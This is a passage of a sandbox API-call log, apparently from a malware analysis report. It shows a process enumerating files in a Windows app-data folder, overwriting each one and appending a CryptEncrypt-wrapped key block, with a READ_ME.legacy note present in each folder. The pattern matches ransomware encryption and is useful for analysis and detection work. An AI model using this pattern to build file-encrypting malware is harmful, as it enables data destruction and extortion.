dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.209] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.210] WriteFile (in: hFile=0x1bd0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.210] WriteFile (in: hFile=0x1bd0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.210] CloseHandle (hObject=0x1bd0) returned 1 [0193.212] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.212] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.212] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\1504773410", dwFileAttributes=0x80) returned 1 [0193.212] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\1504773410" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\202914\\1504773410"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd0 [0193.213] GetFileSizeEx (in: hFile=0x1bd0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6300) returned 1 [0193.213] ReadFile (in: hFile=0x1bd0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x189c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x189c, lpOverlapped=0x0) returned 1 [0193.221] SetFilePointer (in: hFile=0x1bd0, lDistanceToMove=-6300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.221] WriteFile (in: hFile=0x1bd0, lpBuffer=0x30c9010*, nNumberOfBytesToWrite=0x189c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30c9010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x189c, lpOverlapped=0x0) returned 1 [0193.221] SetFilePointer (in: hFile=0x1bd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x189c [0193.221] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.221] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.222] WriteFile (in: hFile=0x1bd0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.222] WriteFile (in: hFile=0x1bd0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.222] CloseHandle (hObject=0x1bd0) returned 1 [0193.223] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x51556bba, ftLastAccessTime.dwHighDateTime=0x1d32719, ftLastWriteTime.dwLowDateTime=0xfbd8cc84, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d41f0 [0193.223] FindNextFileW (in: hFindFile=0x30d41f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x51556bba, ftLastAccessTime.dwHighDateTime=0x1d32719, ftLastWriteTime.dwLowDateTime=0xfbd8cc84, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.223] FindNextFileW (in: hFindFile=0x30d41f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a6be24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4a6be24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc4a920e0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x13d00, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504704827", cAlternateFileName="150470~1")) returned 1 [0193.224] FindNextFileW (in: hFindFile=0x30d41f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1ec2c2d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x514bdf74, ftLastAccessTime.dwHighDateTime=0x1d32719, ftLastWriteTime.dwLowDateTime=0x9bfcf60d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.224] FindNextFileW (in: hFindFile=0x30d41f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdf610868, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x9bfcf60d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.224] FindNextFileW (in: hFindFile=0x30d41f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbd8cc84, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbd8cc84, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbdb2eac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.224] FindNextFileW (in: hFindFile=0x30d41f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbd8cc84, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbd8cc84, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbdb2eac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.224] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.224] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.224] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.225] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210469\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd4 [0193.225] GetFileSizeEx (in: hFile=0x1bd4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.225] ReadFile (in: hFile=0x1bd4, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.225] SetFilePointer (in: hFile=0x1bd4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.225] WriteFile (in: hFile=0x1bd4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.225] SetFilePointer (in: hFile=0x1bd4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.226] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.226] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.226] WriteFile (in: hFile=0x1bd4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.227] WriteFile (in: hFile=0x1bd4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.227] CloseHandle (hObject=0x1bd4) returned 1 [0193.228] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0193.228] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0193.228] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.229] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210469\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd4 [0193.230] GetFileSizeEx (in: hFile=0x1bd4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.230] ReadFile (in: hFile=0x1bd4, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.230] SetFilePointer (in: hFile=0x1bd4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.230] WriteFile (in: hFile=0x1bd4, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.230] SetFilePointer (in: hFile=0x1bd4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.230] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.230] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.230] WriteFile (in: hFile=0x1bd4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.231] WriteFile (in: hFile=0x1bd4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.231] CloseHandle (hObject=0x1bd4) returned 1 [0193.232] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.232] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.232] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\1504704827", dwFileAttributes=0x80) returned 1 [0193.233] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\1504704827" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210469\\1504704827"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd4 [0193.234] GetFileSizeEx (in: hFile=0x1bd4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=81152) returned 1 [0193.234] ReadFile (in: hFile=0x1bd4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x13d00, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x13d00, lpOverlapped=0x0) returned 1 [0193.240] SetFilePointer (in: hFile=0x1bd4, lDistanceToMove=-81152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.241] WriteFile (in: hFile=0x1bd4, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x13d00, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13d00, lpOverlapped=0x0) returned 1 [0193.241] SetFilePointer (in: hFile=0x1bd4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13d00 [0193.241] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.241] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.241] WriteFile (in: hFile=0x1bd4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.241] WriteFile (in: hFile=0x1bd4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.242] CloseHandle (hObject=0x1bd4) returned 1 [0193.243] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8a2d0a7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7d37eb5, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xfbdb2eac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4230 [0193.243] FindNextFileW (in: hFindFile=0x30d4230, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8a2d0a7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7d37eb5, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xfbdb2eac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.243] FindNextFileW (in: hFindFile=0x30d4230, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96b1660, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc96b1660, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc982edee, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0xd890, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1504704835", cAlternateFileName="150470~1")) returned 1 [0193.243] FindNextFileW (in: hFindFile=0x30d4230, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a2d0a7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe771be10, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x9c01bafe, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0193.243] FindNextFileW (in: hFindFile=0x30d4230, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a2d0a7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7c2ce5f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x9c01bafe, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0193.243] FindNextFileW (in: hFindFile=0x30d4230, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdb2eac, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbdb2eac, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbdb2eac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.243] FindNextFileW (in: hFindFile=0x30d4230, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdb2eac, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbdb2eac, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbdb2eac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.243] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.243] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.244] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.246] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210509\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd8 [0193.247] GetFileSizeEx (in: hFile=0x1bd8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.247] ReadFile (in: hFile=0x1bd8, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.247] SetFilePointer (in: hFile=0x1bd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.247] WriteFile (in: hFile=0x1bd8, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.247] SetFilePointer (in: hFile=0x1bd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.247] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.247] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.248] WriteFile (in: hFile=0x1bd8, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.248] WriteFile (in: hFile=0x1bd8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.249] CloseHandle (hObject=0x1bd8) returned 1 [0193.251] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.251] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.251] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0193.252] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210509\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 